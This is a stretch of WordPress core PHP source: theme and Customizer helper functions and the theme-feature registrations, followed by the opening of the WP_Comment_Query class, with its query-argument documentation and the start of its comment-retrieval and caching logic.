	$settings = array(
		'url'           => esc_url( admin_url( 'customize.php' ) ),
		'isCrossDomain' => $cross_domain,
		'browser'       => $browser,
		'l10n'          => array(
			'saveAlert'       => __( 'The changes you made will be lost if you navigate away from this page.' ),
			'mainIframeTitle' => __( 'Customizer' ),
		),
	);

	$script = 'var _wpCustomizeLoaderSettings = ' . wp_json_encode( $settings ) . ';';

	$wp_scripts = wp_scripts();
	$data       = $wp_scripts->get_data( 'customize-loader', 'data' );
	if ( $data ) {
		$script = "$data\n$script";
	}

	$wp_scripts->add_data( 'customize-loader', 'data', $script );
}

/**
 * Returns a URL to load the Customizer.
 *
 * @since 3.4.0
 *
 * @param string $stylesheet Optional. Theme to customize. Defaults to active theme.
 *                           The theme's stylesheet will be urlencoded if necessary.
 * @return string
 */
function wp_customize_url( $stylesheet = '' ) {
	$url = admin_url( 'customize.php' );
	if ( $stylesheet ) {
		$url .= '?theme=' . urlencode( $stylesheet );
	}
	return esc_url( $url );
}

/**
 * Prints a script to check whether or not the Customizer is supported,
 * and apply either the no-customize-support or customize-support class
 * to the body.
 *
 * This function MUST be called inside the body tag.
 *
 * Ideally, call this function immediately after the body tag is opened.
 * This prevents a flash of unstyled content.
 *
 * It is also recommended that you add the "no-customize-support" class
 * to the body tag by default.
 *
 * @since 3.4.0
 * @since 4.7.0 Support for IE8 and below is explicitly removed via conditional comments.
 * @since 5.5.0 IE8 and older are no longer supported.
 */
function wp_customize_support_script() {
	$admin_origin = parse_url( admin_url() );
	$home_origin  = parse_url( home_url() );
	$cross_domain = ( strtolower( $admin_origin['host'] ) !== strtolower( $home_origin['host'] ) );
	ob_start();
	?>
	<script>
		(function() {
			var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)');

	<?php	if ( $cross_domain ) : ?>
			request = (function(){ var xhr = new XMLHttpRequest(); return ('withCredentials' in xhr); })();
	<?php	else : ?>
			request = true;
	<?php	endif; ?>

			b[c] = b[c].replace( rcs, ' ' );
			// The customizer requires postMessage and CORS (if the site is cross domain).
			b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs;
		}());
	</script>
	<?php
	wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
}

/**
 * Whether the site is being previewed in the Customizer.
 *
 * @since 4.0.0
 *
 * @global WP_Customize_Manager $wp_customize Customizer instance.
 *
 * @return bool True if the site is being previewed in the Customizer, false otherwise.
 */
function is_customize_preview() {
	global $wp_customize;

	return ( $wp_customize instanceof WP_Customize_Manager ) && $wp_customize->is_preview();
}

/**
 * Makes sure that auto-draft posts get their post_date bumped or status changed
 * to draft to prevent premature garbage-collection.
 *
 * When a changeset is updated but remains an auto-draft, ensure the post_date
 * for the auto-draft posts remains the same so that it will be
 * garbage-collected at the same time by `wp_delete_auto_drafts()`. Otherwise,
 * if the changeset is updated to be a draft then update the posts
 * to have a far-future post_date so that they will never be garbage collected
 * unless the changeset post itself is deleted.
 *
 * When a changeset is updated to be a persistent draft or to be scheduled for
 * publishing, then transition any dependent auto-drafts to a draft status so
 * that they likewise will not be garbage-collected but also so that they can
 * be edited in the admin before publishing since there is not yet a post/page
 * editing flow in the Customizer. See #39752.
 *
 * @link https://core.trac.wordpress.org/ticket/39752
 *
 * @since 4.8.0
 * @access private
 * @see wp_delete_auto_drafts()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string   $new_status Transition to this post status.
 * @param string   $old_status Previous post status.
 * @param \WP_Post $post       Post data.
 */
function _wp_keep_alive_customize_changeset_dependent_auto_drafts( $new_status, $old_status, $post ) {
	global $wpdb;
	unset( $old_status );

	// Short-circuit if not a changeset or if the changeset was published.
	if ( 'customize_changeset' !== $post->post_type || 'publish' === $new_status ) {
		return;
	}

	$data = json_decode( $post->post_content, true );
	if ( empty( $data['nav_menus_created_posts']['value'] ) ) {
		return;
	}

	/*
	 * Actually, in lieu of keeping alive, trash any customization drafts here if the changeset itself is
	 * getting trashed. This is needed because when a changeset transitions to a draft, then any of the
	 * dependent auto-draft post/page stubs will also get transitioned to customization drafts which
	 * are then visible in the WP Admin. We cannot wait for the deletion of the changeset in which
	 * _wp_delete_customize_changeset_dependent_auto_drafts() will be called, since they need to be
	 * trashed to remove from visibility immediately.
	 */
	if ( 'trash' === $new_status ) {
		foreach ( $data['nav_menus_created_posts']['value'] as $post_id ) {
			if ( ! empty( $post_id ) && 'draft' === get_post_status( $post_id ) ) {
				wp_trash_post( $post_id );
			}
		}
		return;
	}

	$post_args = array();
	if ( 'auto-draft' === $new_status ) {
		/*
		 * Keep the post date for the post matching the changeset
		 * so that it will not be garbage-collected before the changeset.
		 */
		$post_args['post_date'] = $post->post_date; // Note wp_delete_auto_drafts() only looks at this date.
	} else {
		/*
		 * Since the changeset no longer has an auto-draft (and it is not published)
		 * it is now a persistent changeset, a long-lived draft, and so any
		 * associated auto-draft posts should likewise transition into having a draft
		 * status. These drafts will be treated differently than regular drafts in
		 * that they will be tied to the given changeset. The publish meta box is
		 * replaced with a notice about how the post is part of a set of customized changes
		 * which will be published when the changeset is published.
		 */
		$post_args['post_status'] = 'draft';
	}

	foreach ( $data['nav_menus_created_posts']['value'] as $post_id ) {
		if ( empty( $post_id ) || 'auto-draft' !== get_post_status( $post_id ) ) {
			continue;
		}
		$wpdb->update(
			$wpdb->posts,
			$post_args,
			array( 'ID' => $post_id )
		);
		clean_post_cache( $post_id );
	}
}

/**
 * Creates the initial theme features when the 'setup_theme' action is fired.
 *
 * See {@see 'setup_theme'}.
 *
 * @since 5.5.0
 * @since 6.0.1 The `block-templates` feature was added.
 */
function create_initial_theme_features() {
	register_theme_feature(
		'align-wide',
		array(
			'description'  => __( 'Whether theme opts in to wide alignment CSS class.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'automatic-feed-links',
		array(
			'description'  => __( 'Whether posts and comments RSS feed links are added to head.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'block-templates',
		array(
			'description'  => __( 'Whether a theme uses block-based templates.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'block-template-parts',
		array(
			'description'  => __( 'Whether a theme uses block-based template parts.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'custom-background',
		array(
			'description'  => __( 'Custom background if defined by the theme.' ),
			'type'         => 'object',
			'show_in_rest' => array(
				'schema' => array(
					'properties' => array(
						'default-image'      => array(
							'type'   => 'string',
							'format' => 'uri',
						),
						'default-preset'     => array(
							'type' => 'string',
							'enum' => array(
								'default',
								'fill',
								'fit',
								'repeat',
								'custom',
							),
						),
						'default-position-x' => array(
							'type' => 'string',
							'enum' => array(
								'left',
								'center',
								'right',
							),
						),
						'default-position-y' => array(
							'type' => 'string',
							'enum' => array(
								'left',
								'center',
								'right',
							),
						),
						'default-size'       => array(
							'type' => 'string',
							'enum' => array(
								'auto',
								'contain',
								'cover',
							),
						),
						'default-repeat'     => array(
							'type' => 'string',
							'enum' => array(
								'repeat-x',
								'repeat-y',
								'repeat',
								'no-repeat',
							),
						),
						'default-attachment' => array(
							'type' => 'string',
							'enum' => array(
								'scroll',
								'fixed',
							),
						),
						'default-color'      => array(
							'type' => 'string',
						),
					),
				),
			),
		)
	);
	register_theme_feature(
		'custom-header',
		array(
			'description'  => __( 'Custom header if defined by the theme.' ),
			'type'         => 'object',
			'show_in_rest' => array(
				'schema' => array(
					'properties' => array(
						'default-image'      => array(
							'type'   => 'string',
							'format' => 'uri',
						),
						'random-default'     => array(
							'type' => 'boolean',
						),
						'width'              => array(
							'type' => 'integer',
						),
						'height'             => array(
							'type' => 'integer',
						),
						'flex-height'        => array(
							'type' => 'boolean',
						),
						'flex-width'         => array(
							'type' => 'boolean',
						),
						'default-text-color' => array(
							'type' => 'string',
						),
						'header-text'        => array(
							'type' => 'boolean',
						),
						'uploads'            => array(
							'type' => 'boolean',
						),
						'video'              => array(
							'type' => 'boolean',
						),
					),
				),
			),
		)
	);
	register_theme_feature(
		'custom-logo',
		array(
			'type'         => 'object',
			'description'  => __( 'Custom logo if defined by the theme.' ),
			'show_in_rest' => array(
				'schema' => array(
					'properties' => array(
						'width'                => array(
							'type' => 'integer',
						),
						'height'               => array(
							'type' => 'integer',
						),
						'flex-width'           => array(
							'type' => 'boolean',
						),
						'flex-height'          => array(
							'type' => 'boolean',
						),
						'header-text'          => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'string',
							),
						),
						'unlink-homepage-logo' => array(
							'type' => 'boolean',
						),
					),
				),
			),
		)
	);
	register_theme_feature(
		'customize-selective-refresh-widgets',
		array(
			'description'  => __( 'Whether the theme enables Selective Refresh for Widgets being managed with the Customizer.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'dark-editor-style',
		array(
			'description'  => __( 'Whether theme opts in to the dark editor style UI.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'disable-custom-colors',
		array(
			'description'  => __( 'Whether the theme disables custom colors.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'disable-custom-font-sizes',
		array(
			'description'  => __( 'Whether the theme disables custom font sizes.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'disable-custom-gradients',
		array(
			'description'  => __( 'Whether the theme disables custom gradients.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'disable-layout-styles',
		array(
			'description'  => __( 'Whether the theme disables generated layout styles.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'editor-color-palette',
		array(
			'type'         => 'array',
			'description'  => __( 'Custom color palette if defined by the theme.' ),
			'show_in_rest' => array(
				'schema' => array(
					'items' => array(
						'type'       => 'object',
						'properties' => array(
							'name'  => array(
								'type' => 'string',
							),
							'slug'  => array(
								'type' => 'string',
							),
							'color' => array(
								'type' => 'string',
							),
						),
					),
				),
			),
		)
	);
	register_theme_feature(
		'editor-font-sizes',
		array(
			'type'         => 'array',
			'description'  => __( 'Custom font sizes if defined by the theme.' ),
			'show_in_rest' => array(
				'schema' => array(
					'items' => array(
						'type'       => 'object',
						'properties' => array(
							'name' => array(
								'type' => 'string',
							),
							'size' => array(
								'type' => 'number',
							),
							'slug' => array(
								'type' => 'string',
							),
						),
					),
				),
			),
		)
	);
	register_theme_feature(
		'editor-gradient-presets',
		array(
			'type'         => 'array',
			'description'  => __( 'Custom gradient presets if defined by the theme.' ),
			'show_in_rest' => array(
				'schema' => array(
					'items' => array(
						'type'       => 'object',
						'properties' => array(
							'name'     => array(
								'type' => 'string',
							),
							'gradient' => array(
								'type' => 'string',
							),
							'slug'     => array(
								'type' => 'string',
							),
						),
					),
				),
			),
		)
	);
	register_theme_feature(
		'editor-styles',
		array(
			'description'  => __( 'Whether theme opts in to the editor styles CSS wrapper.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'html5',
		array(
			'type'         => 'array',
			'description'  => __( 'Allows use of HTML5 markup for search forms, comment forms, comment lists, gallery, and caption.' ),
			'show_in_rest' => array(
				'schema' => array(
					'items' => array(
						'type' => 'string',
						'enum' => array(
							'search-form',
							'comment-form',
							'comment-list',
							'gallery',
							'caption',
							'script',
							'style',
						),
					),
				),
			),
		)
	);
	register_theme_feature(
		'post-formats',
		array(
			'type'         => 'array',
			'description'  => __( 'Post formats supported.' ),
			'show_in_rest' => array(
				'name'             => 'formats',
				'schema'           => array(
					'items'   => array(
						'type' => 'string',
						'enum' => get_post_format_slugs(),
					),
					'default' => array( 'standard' ),
				),
				'prepare_callback' => static function ( $formats ) {
					$formats = is_array( $formats ) ? array_values( $formats[0] ) : array();
					$formats = array_merge( array( 'standard' ), $formats );

					return $formats;
				},
			),
		)
	);
	register_theme_feature(
		'post-thumbnails',
		array(
			'type'         => 'array',
			'description'  => __( 'The post types that support thumbnails or true if all post types are supported.' ),
			'show_in_rest' => array(
				'type'   => array( 'boolean', 'array' ),
				'schema' => array(
					'items' => array(
						'type' => 'string',
					),
				),
			),
		)
	);
	register_theme_feature(
		'responsive-embeds',
		array(
			'description'  => __( 'Whether the theme supports responsive embedded content.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'title-tag',
		array(
			'description'  => __( 'Whether the theme can manage the document title tag.' ),
			'show_in_rest' => true,
		)
	);
	register_theme_feature(
		'wp-block-styles',
		array(
			'description'  => __( 'Whether theme opts in to default WordPress block styles for viewing.' ),
			'show_in_rest' => true,
		)
	);
}

/**
 * Returns whether the active theme is a block-based theme or not.
 *
 * @since 5.9.0
 *
 * @return bool Whether the active theme is a block-based theme or not.
 */
function wp_is_block_theme() {
	return wp_get_theme()->is_block_theme();
}

/**
 * Given an element name, returns a class name.
 *
 * Alias of WP_Theme_JSON::get_element_class_name.
 *
 * @since 6.1.0
 *
 * @param string $element The name of the element.
 *
 * @return string The name of the class.
 */
function wp_theme_get_element_class_name( $element ) {
	return WP_Theme_JSON::get_element_class_name( $element );
}

/**
 * Adds default theme supports for block themes when the 'after_setup_theme' action fires.
 *
 * See {@see 'after_setup_theme'}.
 *
 * @since 5.9.0
 * @access private
 */
function _add_default_theme_supports() {
	if ( ! wp_is_block_theme() ) {
		return;
	}

	add_theme_support( 'post-thumbnails' );
	add_theme_support( 'responsive-embeds' );
	add_theme_support( 'editor-styles' );
	/*
	 * Makes block themes support HTML5 by default for the comment block and search form
	 * (which use default template functions) and `[caption]` and `[gallery]` shortcodes.
	 * Other blocks contain their own HTML5 markup.
	 */
	add_theme_support( 'html5', array( 'comment-form', 'comment-list', 'search-form', 'gallery', 'caption', 'style', 'script' ) );
	add_theme_support( 'automatic-feed-links' );

	add_filter( 'should_load_separate_core_block_assets', '__return_true' );

	/*
	 * Remove the Customizer's Menus panel when block theme is active.
	 */
	add_filter(
		'customize_panel_active',
		static function ( $active, WP_Customize_Panel $panel ) {
			if (
				'nav_menus' === $panel->id &&
				! current_theme_supports( 'menus' ) &&
				! current_theme_supports( 'widgets' )
			) {
				$active = false;
			}
			return $active;
		},
		10,
		2
	);
}
<?php
/**
 * Comment API: WP_Comment_Query class
 *
 * @package WordPress
 * @subpackage Comments
 * @since 4.4.0
 */

/**
 * Core class used for querying comments.
 *
 * @since 3.1.0
 *
 * @see WP_Comment_Query::__construct() for accepted arguments.
 */
#[AllowDynamicProperties]
class WP_Comment_Query {

	/**
	 * SQL for database query.
	 *
	 * @since 4.0.1
	 * @var string
	 */
	public $request;

	/**
	 * Metadata query container
	 *
	 * @since 3.5.0
	 * @var WP_Meta_Query A meta query instance.
	 */
	public $meta_query = false;

	/**
	 * Metadata query clauses.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $meta_query_clauses;

	/**
	 * SQL query clauses.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $sql_clauses = array(
		'select'  => '',
		'from'    => '',
		'where'   => array(),
		'groupby' => '',
		'orderby' => '',
		'limits'  => '',
	);

	/**
	 * SQL WHERE clause.
	 *
	 * Stored after the {@see 'comments_clauses'} filter is run on the compiled WHERE sub-clauses.
	 *
	 * @since 4.4.2
	 * @var string
	 */
	protected $filtered_where_clause;

	/**
	 * Date query container
	 *
	 * @since 3.7.0
	 * @var WP_Date_Query A date query instance.
	 */
	public $date_query = false;

	/**
	 * Query vars set by the user.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	public $query_vars;

	/**
	 * Default values for query vars.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	public $query_var_defaults;

	/**
	 * List of comments located by the query.
	 *
	 * @since 4.0.0
	 * @var int[]|WP_Comment[]
	 */
	public $comments;

	/**
	 * The amount of found comments for the current query.
	 *
	 * @since 4.4.0
	 * @var int
	 */
	public $found_comments = 0;

	/**
	 * The number of pages.
	 *
	 * @since 4.4.0
	 * @var int
	 */
	public $max_num_pages = 0;

	/**
	 * Make private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( 'get_search_sql' === $name ) {
			return $this->get_search_sql( ...$arguments );
		}
		return false;
	}

	/**
	 * Constructor.
	 *
	 * Sets up the comment query, based on the query vars passed.
	 *
	 * @since 4.2.0
	 * @since 4.4.0 `$parent__in` and `$parent__not_in` were added.
	 * @since 4.4.0 Order by `comment__in` was added. `$update_comment_meta_cache`, `$no_found_rows`,
	 *              `$hierarchical`, and `$update_comment_post_cache` were added.
	 * @since 4.5.0 Introduced the `$author_url` argument.
	 * @since 4.6.0 Introduced the `$cache_domain` argument.
	 * @since 4.9.0 Introduced the `$paged` argument.
	 * @since 5.1.0 Introduced the `$meta_compare_key` argument.
	 * @since 5.3.0 Introduced the `$meta_type_key` argument.
	 *
	 * @param string|array $query {
	 *     Optional. Array or query string of comment query parameters. Default empty.
	 *
	 *     @type string          $author_email              Comment author email address. Default empty.
	 *     @type string          $author_url                Comment author URL. Default empty.
	 *     @type int[]           $author__in                Array of author IDs to include comments for. Default empty.
	 *     @type int[]           $author__not_in            Array of author IDs to exclude comments for. Default empty.
	 *     @type int[]           $comment__in               Array of comment IDs to include. Default empty.
	 *     @type int[]           $comment__not_in           Array of comment IDs to exclude. Default empty.
	 *     @type bool            $count                     Whether to return a comment count (true) or array of
	 *                                                      comment objects (false). Default false.
	 *     @type array           $date_query                Date query clauses to limit comments by. See WP_Date_Query.
	 *                                                      Default null.
	 *     @type string          $fields                    Comment fields to return. Accepts 'ids' for comment IDs
	 *                                                      only or empty for all fields. Default empty.
	 *     @type array           $include_unapproved        Array of IDs or email addresses of users whose unapproved
	 *                                                      comments will be returned by the query regardless of
	 *                                                      `$status`. Default empty.
	 *     @type int             $karma                     Karma score to retrieve matching comments for.
	 *                                                      Default empty.
	 *     @type string|string[] $meta_key                  Meta key or keys to filter by.
	 *     @type string|string[] $meta_value                Meta value or values to filter by.
	 *     @type string          $meta_compare              MySQL operator used for comparing the meta value.
	 *                                                      See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_compare_key          MySQL operator used for comparing the meta key.
	 *                                                      See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type                 MySQL data type that the meta_value column will be CAST to for comparisons.
	 *                                                      See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type_key             MySQL data type that the meta_key column will be CAST to for comparisons.
	 *                                                      See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type array           $meta_query                An associative array of WP_Meta_Query arguments.
	 *                                                      See WP_Meta_Query::__construct() for accepted values.
	 *     @type int             $number                    Maximum number of comments to retrieve.
	 *                                                      Default empty (no limit).
	 *     @type int             $paged                     When used with `$number`, defines the page of results to return.
	 *                                                      When used with `$offset`, `$offset` takes precedence. Default 1.
	 *     @type int             $offset                    Number of comments to offset the query. Used to build
	 *                                                      LIMIT clause. Default 0.
	 *     @type bool            $no_found_rows             Whether to disable the `SQL_CALC_FOUND_ROWS` query.
	 *                                                      Default: true.
	 *     @type string|array    $orderby                   Comment status or array of statuses. To use 'meta_value'
	 *                                                      or 'meta_value_num', `$meta_key` must also be defined.
	 *                                                      To sort by a specific `$meta_query` clause, use that
	 *                                                      clause's array key. Accepts:
	 *                                                      - 'comment_agent'
	 *                                                      - 'comment_approved'
	 *                                                      - 'comment_author'
	 *                                                      - 'comment_author_email'
	 *                                                      - 'comment_author_IP'
	 *                                                      - 'comment_author_url'
	 *                                                      - 'comment_content'
	 *                                                      - 'comment_date'
	 *                                                      - 'comment_date_gmt'
	 *                                                      - 'comment_ID'
	 *                                                      - 'comment_karma'
	 *                                                      - 'comment_parent'
	 *                                                      - 'comment_post_ID'
	 *                                                      - 'comment_type'
	 *                                                      - 'user_id'
	 *                                                      - 'comment__in'
	 *                                                      - 'meta_value'
	 *                                                      - 'meta_value_num'
	 *                                                      - The value of `$meta_key`
	 *                                                      - The array keys of `$meta_query`
	 *                                                      - false, an empty array, or 'none' to disable `ORDER BY` clause.
	 *                                                      Default: 'comment_date_gmt'.
	 *     @type string          $order                     How to order retrieved comments. Accepts 'ASC', 'DESC'.
	 *                                                      Default: 'DESC'.
	 *     @type int             $parent                    Parent ID of comment to retrieve children of.
	 *                                                      Default empty.
	 *     @type int[]           $parent__in                Array of parent IDs of comments to retrieve children for.
	 *                                                      Default empty.
	 *     @type int[]           $parent__not_in            Array of parent IDs of comments *not* to retrieve
	 *                                                      children for. Default empty.
	 *     @type int[]           $post_author__in           Array of author IDs to retrieve comments for.
	 *                                                      Default empty.
	 *     @type int[]           $post_author__not_in       Array of author IDs *not* to retrieve comments for.
	 *                                                      Default empty.
	 *     @type int             $post_id                   Limit results to those affiliated with a given post ID.
	 *                                                      Default 0.
	 *     @type int[]           $post__in                  Array of post IDs to include affiliated comments for.
	 *                                                      Default empty.
	 *     @type int[]           $post__not_in              Array of post IDs to exclude affiliated comments for.
	 *                                                      Default empty.
	 *     @type int             $post_author               Post author ID to limit results by. Default empty.
	 *     @type string|string[] $post_status               Post status or array of post statuses to retrieve
	 *                                                      affiliated comments for. Pass 'any' to match any value.
	 *                                                      Default empty.
	 *     @type string|string[] $post_type                 Post type or array of post types to retrieve affiliated
	 *                                                      comments for. Pass 'any' to match any value. Default empty.
	 *     @type string          $post_name                 Post name to retrieve affiliated comments for.
	 *                                                      Default empty.
	 *     @type int             $post_parent               Post parent ID to retrieve affiliated comments for.
	 *                                                      Default empty.
	 *     @type string          $search                    Search term(s) to retrieve matching comments for.
	 *                                                      Default empty.
	 *     @type string|array    $status                    Comment statuses to limit results by. Accepts an array
	 *                                                      or space/comma-separated list of 'hold' (`comment_status=0`),
	 *                                                      'approve' (`comment_status=1`), 'all', or a custom
	 *                                                      comment status. Default 'all'.
	 *     @type string|string[] $type                      Include comments of a given type, or array of types.
	 *                                                      Accepts 'comment', 'pings' (includes 'pingback' and
	 *                                                      'trackback'), or any custom type string. Default empty.
	 *     @type string[]        $type__in                  Include comments from a given array of comment types.
	 *                                                      Default empty.
	 *     @type string[]        $type__not_in              Exclude comments from a given array of comment types.
	 *                                                      Default empty.
	 *     @type int             $user_id                   Include comments for a specific user ID. Default empty.
	 *     @type bool|string     $hierarchical              Whether to include comment descendants in the results.
	 *                                                      - 'threaded' returns a tree, with each comment's children
	 *                                                        stored in a `children` property on the `WP_Comment` object.
	 *                                                      - 'flat' returns a flat array of found comments plus
	 *                                                        their children.
	 *                                                      - Boolean `false` leaves out descendants.
	 *                                                      The parameter is ignored (forced to `false`) when
	 *                                                      `$fields` is 'ids' or 'counts'. Accepts 'threaded',
	 *                                                      'flat', or false. Default: false.
	 *     @type string          $cache_domain              Unique cache key to be produced when this query is stored in
	 *                                                      an object cache. Default is 'core'.
	 *     @type bool            $update_comment_meta_cache Whether to prime the metadata cache for found comments.
	 *                                                      Default true.
	 *     @type bool            $update_comment_post_cache Whether to prime the cache for comment posts.
	 *                                                      Default false.
	 * }
	 */
	public function __construct( $query = '' ) {
		$this->query_var_defaults = array(
			'author_email'              => '',
			'author_url'                => '',
			'author__in'                => '',
			'author__not_in'            => '',
			'include_unapproved'        => '',
			'fields'                    => '',
			'ID'                        => '',
			'comment__in'               => '',
			'comment__not_in'           => '',
			'karma'                     => '',
			'number'                    => '',
			'offset'                    => '',
			'no_found_rows'             => true,
			'orderby'                   => '',
			'order'                     => 'DESC',
			'paged'                     => 1,
			'parent'                    => '',
			'parent__in'                => '',
			'parent__not_in'            => '',
			'post_author__in'           => '',
			'post_author__not_in'       => '',
			'post_ID'                   => '',
			'post_id'                   => 0,
			'post__in'                  => '',
			'post__not_in'              => '',
			'post_author'               => '',
			'post_name'                 => '',
			'post_parent'               => '',
			'post_status'               => '',
			'post_type'                 => '',
			'status'                    => 'all',
			'type'                      => '',
			'type__in'                  => '',
			'type__not_in'              => '',
			'user_id'                   => '',
			'search'                    => '',
			'count'                     => false,
			'meta_key'                  => '',
			'meta_value'                => '',
			'meta_query'                => '',
			'date_query'                => null, // See WP_Date_Query.
			'hierarchical'              => false,
			'cache_domain'              => 'core',
			'update_comment_meta_cache' => true,
			'update_comment_post_cache' => false,
		);

		if ( ! empty( $query ) ) {
			$this->query( $query );
		}
	}

	/**
	 * Parse arguments passed to the comment query with default query parameters.
	 *
	 * @since 4.2.0 Extracted from WP_Comment_Query::query().
	 *
	 * @param string|array $query WP_Comment_Query arguments. See WP_Comment_Query::__construct() for accepted arguments.
	 */
	public function parse_query( $query = '' ) {
		if ( empty( $query ) ) {
			$query = $this->query_vars;
		}

		$this->query_vars = wp_parse_args( $query, $this->query_var_defaults );

		/**
		 * Fires after the comment query vars have been parsed.
		 *
		 * @since 4.2.0
		 *
		 * @param WP_Comment_Query $query The WP_Comment_Query instance (passed by reference).
		 */
		do_action_ref_array( 'parse_comment_query', array( &$this ) );
	}

	/**
	 * Sets up the WordPress query for retrieving comments.
	 *
	 * @since 3.1.0
	 * @since 4.1.0 Introduced 'comment__in', 'comment__not_in', 'post_author__in',
	 *              'post_author__not_in', 'author__in', 'author__not_in', 'post__in',
	 *              'post__not_in', 'include_unapproved', 'type__in', and 'type__not_in'
	 *              arguments to $query_vars.
	 * @since 4.2.0 Moved parsing to WP_Comment_Query::parse_query().
	 *
	 * @param string|array $query Array or URL query string of parameters.
	 * @return array|int List of comments, or number of comments when 'count' is passed as a query var.
	 */
	public function query( $query ) {
		$this->query_vars = wp_parse_args( $query );
		return $this->get_comments();
	}

	/**
	 * Get a list of comments matching the query vars.
	 *
	 * @since 4.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int|int[]|WP_Comment[] List of comments or number of found comments if `$count` argument is true.
	 */
	public function get_comments() {
		global $wpdb;

		$this->parse_query();

		// Parse meta query.
		$this->meta_query = new WP_Meta_Query();
		$this->meta_query->parse_query_vars( $this->query_vars );

		/**
		 * Fires before comments are retrieved.
		 *
		 * @since 3.1.0
		 *
		 * @param WP_Comment_Query $query Current instance of WP_Comment_Query (passed by reference).
		 */
		do_action_ref_array( 'pre_get_comments', array( &$this ) );

		// Reparse query vars, in case they were modified in a 'pre_get_comments' callback.
		$this->meta_query->parse_query_vars( $this->query_vars );
		if ( ! empty( $this->meta_query->queries ) ) {
			$this->meta_query_clauses = $this->meta_query->get_sql( 'comment', $wpdb->comments, 'comment_ID', $this );
		}

		$comment_data = null;

		/**
		 * Filters the comments data before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress' default comment queries.
		 *
		 * The expected return type from this filter depends on the value passed
		 * in the request query vars:
		 * - When `$this->query_vars['count']` is set, the filter should return
		 *   the comment count as an integer.
		 * - When `'ids' === $this->query_vars['fields']`, the filter should return
		 *   an array of comment IDs.
		 * - Otherwise the filter should return an array of WP_Comment objects.
		 *
		 * Note that if the filter returns an array of comment data, it will be assigned
		 * to the `comments` property of the current WP_Comment_Query instance.
		 *
		 * Filtering functions that require pagination information are encouraged to set
		 * the `found_comments` and `max_num_pages` properties of the WP_Comment_Query object,
		 * passed to the filter by reference. If WP_Comment_Query does not perform a database
		 * query, it will not have enough information to generate these values itself.
		 *
		 * @since 5.3.0
		 * @since 5.6.0 The returned array of comment data is assigned to the `comments` property
		 *              of the current WP_Comment_Query instance.
		 *
		 * @param array|int|null   $comment_data Return an array of comment data to short-circuit WP's comment query,
		 *                                       the comment count as an integer if `$this->query_vars['count']` is set,
		 *                                       or null to allow WP to run its normal queries.
		 * @param WP_Comment_Query $query        The WP_Comment_Query instance, passed by reference.
		 */
		$comment_data = apply_filters_ref_array( 'comments_pre_query', array( $comment_data, &$this ) );

		if ( null !== $comment_data ) {
			if ( is_array( $comment_data ) && ! $this->query_vars['count'] ) {
				$this->comments = $comment_data;
			}

			return $comment_data;
		}

		/*
		 * Only use the args defined in the query_var_defaults to compute the key,
		 * but ignore 'fields', 'update_comment_meta_cache', 'update_comment_post_cache' which does not affect query results.
		 */
		$_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) );
		unset( $_args['fields'], $_args['update_comment_meta_cache'], $_args['update_comment_post_cache'] );

		$key          = md5( serialize( $_args ) );
		$last_changed = wp_cache_get_last_changed( 'comment' );

		$cache_key   = "get_comments:$key:$last_changed";
		$cache_value = wp_cache_get( $cache_key, 'comment-queries' );
		if ( false === $cache_value ) {
			$comment_ids = $this->get_comment_ids();
			if ( $comment_ids ) {
				$this->set_found_comments();
			}

			$cache_value = array(
				'comment_ids'    => $comment_ids,
				'found_comments' => $this->found_comments,
			);
			wp_cache_add( $cache_key, $cache_value, 'comment-queries' );
		} else {
			$comment_ids          = $cache_value['comment_ids'];
			$this->found_comments = $cache_value['found_comments'];
		}

		if ( $this->found_comments && $this->query_vars['number'] ) {
			$this->max_num_pages = (int) ceil( $this->found_comments / $this->query_vars['number'] );
		}

		// If querying for a count only, there's nothing more to do.
		if ( $this->query_vars['count'] ) {
			// $comment_ids is actually a count in this case.
			return (int) $comment_ids;
		}

		$comment_ids = array_map( 'intval', $comment_ids );

		if ( $this->query_vars['update_comment_meta_cache'] ) {
			wp_lazyload_comment_meta( $comment_ids );
		}

		if ( 'ids' === $this->query_vars['fields'] ) {
			$this->comments = $comment_ids;
			return $this->comments;
		}

		_prime_comment_caches( $comment_ids, false );

		// Fetch full comment objects from the primed cache.
		$_comments = array();
		foreach ( $comment_ids as $comment_id ) {
			$_comment = get_comment( $comment_id );
			if ( $_comment ) {
				$_comments[] = $_comment;
			}
		}

		// Prime comment post caches.
		if ( $this->query_vars['update_comment_post_cache'] ) {
			$comment_post_ids = array();
			foreach ( $_comments as $_comment ) {
				$comment_post_ids[] = $_comment->comment_post_ID;
			}

			_prime_post_caches( $comment_post_ids, false, false );
		}

		/**
		 * Filters the comment query results.
		 *
		 * @since 3.1.0
		 *
